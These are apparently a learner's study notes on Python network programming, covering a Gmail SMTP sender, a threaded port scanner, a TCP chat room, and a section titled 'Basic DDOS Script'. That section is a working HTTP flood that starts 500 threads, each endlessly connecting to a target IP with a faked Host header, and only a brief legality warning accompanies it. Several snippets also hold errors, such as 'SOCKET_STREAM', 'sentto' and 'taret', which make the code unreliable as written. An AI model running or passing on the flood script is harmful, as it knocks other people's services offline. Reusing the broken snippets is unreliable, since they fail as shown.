Notes on Network Programming With Python

• Overview
• Mail Client using Gmail
• Basic DDOS Script
• Basic Port Scanner
• TCP Chat Room Server
• TCP Chat Room Client

Overview

Here are some notes I took while watching Neural Nine’s video providing an introduction to network programming with python.

Colab Notebook

Google Colaboratory

Mail Client using Gmail

• Emails will be sent from an existing Gmail address

replit: https://replit.com/@innominate817/Mail-Client-Using-Gmail#main.py

Authenticating with Gmail

• Need to tell Google to allow you to connect via SMTP

• SMTP is less secure as it requires having password in plain text

• Need to allow less secure apps to access your account (link)

• Need to create an app-specific password if 2-step verification is enabled (link)

• Might need to use the Display Unlock Captcha link before logging in

Limitations using Gmail

• Free accounts are limited to 500 emails per day
• Rate limited to about 20 emails per second

Alternatives for Higher Usage

• AWS Simple Email Service
• Sendgrid: delivery service

Create SMTP Server

Import Dependencies

• email: an email and MIME handling package
• getpass: prompt the user for a password without echoing it to the console
• smtplib: defines an SMTP client session object that can be used to send mail

from email import encoders
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email.mime.multipart import MIMEMultipart

import getpass
import smtplib

Get Sending Gmail Login Info

# Gmail account that will be sending emails
gmail_address = input("Enter an existing Gmail address: ")
gmail_password = getpass.getpass(f'Sender: {gmail_address}\nPassword: ')

Get Destination Address

destination_address = input("Enter a destination email address: ")

Create Multipart Multipurpose Internet Mail Extensions (Mime) Object

Email Structure

From: {}
To: {}
Subject: {}
{body}

# Multipart Multipurpose Internet Mail Extensions (MIME) object
msg = MIMEMultipart()

# Add email header info 
msg['From'] = gmail_address
msg['To'] = destination_address
msg['Subject'] = 'Test Email Using Python'

Create Body Text

# Create email body text content
body = 'This email was sent using Python.'
# or read body content from file
# with open('email_text.txt', 'r') as f:
#     body = f.read()

# Attach body text content
msg.attach(MIMEText(body, 'plain'))

Attach an Image

# Image Name
filename = 'pexels-vitaliy-mitrofanenko-9737456.jpg'
# Image file path
filepath = f'./{filename}'
# Open image file in binary format
attachment = open(filepath, 'rb')

# Create a new MIME object
p = MIMEBase('application', 'octet-stream')
# Set image as payload for MIME object
p.set_payload((attachment.read()))
# Encode MIME object
encoders.encode_base64(p)
# Add new Header
p.add_header('Content-Disposition', f'attachement; filename={filename}')
# Attach MIME object to email message
msg.attach(p)

Send the Email

try:
    # Instantiate SMTP connection to the Gmail server using SSL on port 465
    server = smtplib.SMTP_SSL('smtp.gmail.com',465)
    # Identify client to server
    server.ehlo()
    # Login
    server.login(gmail_address, gmail_password)
    # Send Email
    server.sendmail(msg['From'], msg['To'], msg.as_string())
    # Close Server
    server.quit()
    print("Email Sent!")
except:
    print("Unable to connect")

Additional Resources

• Create an Email Using Markdown: GitHub Gist

Basic DDOS Script

• Distributed Denial of Service

• Highly illegal when you do not have permission!!!

• Python is not the ideal language for a real DDOS attack as it does not support true multithreading

• Rough script, not optimized

Import Dependencies

• socket: low-level networking interface
• threading: thread-based parrallelism

import socket
import threading

Set Target Information

# Target IP Address to attack
target = '192.168.1.1'
# Send traffic to HTTP port
port = 80
# Fake ip address for header
fake_ip = '192.168.1.123'

Define DDOS Attack

def attack():
    while True:
        # Create a new TCP socket using IPv4 addresses
        s = socket.socket(socket.AF_INET, socket.SOCKET_STREAM)
        # Connect to that target IPv4 address on the target port
        s.connect((target, port))
        s.sentto(("GET /" + target + " HTTP/1.1\r\n").encode('ascii'), (target, port))
        # Send data to the socket
        s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode('ascii'), (target, port))
        s.close()

Run DDOS Attack

for i in range(500):
    thread = threading.Thread(target=attack)
    thread.start()

Basic Port Scanner

• Open ports are potential security vulnerabilities

• A port scanner can help detect open ports that are not needed so we can close them

• Port scanning is illegal without permission!!!

Import Dependencies

• socket: low-level networking interface
• threading: thread-based parrallelism
• queue: a synchronized queue class

import socket
import threading
from queue import Queue

Set Target Address

target = '192.168.2.1'

Check if a Port Is Open

def portscan(port):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.connect((target, port))
        return True
    except:
        return False

Define Target Function for Threads

# Stores list of open ports
open_ports = []

def worker():
    while not queue.empty():
        port = queue.get()
        if portscan(port):
            print(f"Port {port} is open!")
            open_ports.append(port)

Store List of Target Ports in a Queue

queue = Queue()

for port in range(1, 1024):
    queue.put(port)

Create a List of Threads

thread_list = [threading.Thread(target=worker) for i in range(10)]

Start Threads

for thread in thread_list:
    thread.start()

Wait Until Threads Terminate

for thread in thread_list:
    thread.join()

Print List of Open Ports

print(f"Open ports are: {open_ports}")

TCP Chat Room Server

Import Dependencies

• socket: low-level networking interface
• threading: thread-based parrallelism

import socket
import threading

Define Server Address and Port

# localhost
host = '127.0.0.1'
# Don't use port numbers below 10000
port = 55555

Start Server

# Create a new TCP socket using IPv4 addresses
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Bind socket to the host address and port
server.bind((host, port))
# Put server in listening mode
server.listen()

# List of current client socket objects
clients = []
# List of client user names
nicknames = []

Send Message to All Clients

def broadcast(message):
    for client in clients:
        client.send(message)

Handle Data From Clients

def handle(client):
    while True:
        try:
            # Try to receive message data from client
            message = client.recv(1024)
            # Broadcast client messages to all clients
            broadcast(message)
        except:
            # Remove disconnected clients
            index = clients.index(client)
            clients.remove(client)
            client.close()
            nickname = nicknames[index]
            # Inform all clients that the client has disconnected 
            broadcast(f'{nickname} left the chat!'.encode('ascii'))
            nicknames.remove(nickname)
            break

Add New Clients

def receive():
    while True:
        # Accept a connection
        client, address = server.accept()
        print(f"Connected with {str(address)}")
        
        # Send data to the client socket
        # Prompt user for a nickname
        client.send('NICK'.encode('ascii'))
        # Receive data from socket
        nickname = client.recv(1024).decode('ascii')
        nicknames.append(nickname)
        clients.append(client)

        print(f"Nickname of the client is {nickname}!")
        broadcast(f"{nickname} has joined the chat!".encode('ascii'))
        client.send('Connected to the server'.encode('ascii'))
		
        # Start new thread to listen for messages from client
        thread = threading.Thread(taret=handle, args=(client,))
        thread.start()

TCP Chat Room Client

Import Dependencies

• socket: low-level networking interface
• threading: thread-based parrallelism

import socket
import threading

Define Server Address and Port

# localhost
host = '127.0.0.1'
# Don't use port numbers below 10000
port = 55555

Pick a Nickname

nickname = input("Enter a nickname: ")

Initialize Client

# Create a new TCP socket using IPv4 addresses
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the server
client.connect((host, port))

Handle Data Received From Server

def receive():
    while True:
        try:
            message = client.recv(1024).decode('ascii')
            if message == 'NICK':
                client.send(nickname.encode('ascii'))
            else:
                print(message)
        except:
            print("An error occurred!")
            client.close()
            break

Send Data to Server

def write():
    while True:
        # Constantly prompt user for input
        message = f'{nickname}: {input("")}'
        client.send(message.encode('ascii'))

Listen for Data Sent From Server

receive_thread = threading.Thread(target=receive)
receive_thread.start()

Listen For User Input

write_thread = threading.Thread(target=write)
write_thread.start()

References:

• Network Programming with Python Course (build a port scanner, mailing client, chat room, DDOS)
• How to Send Emails with Gmail using Python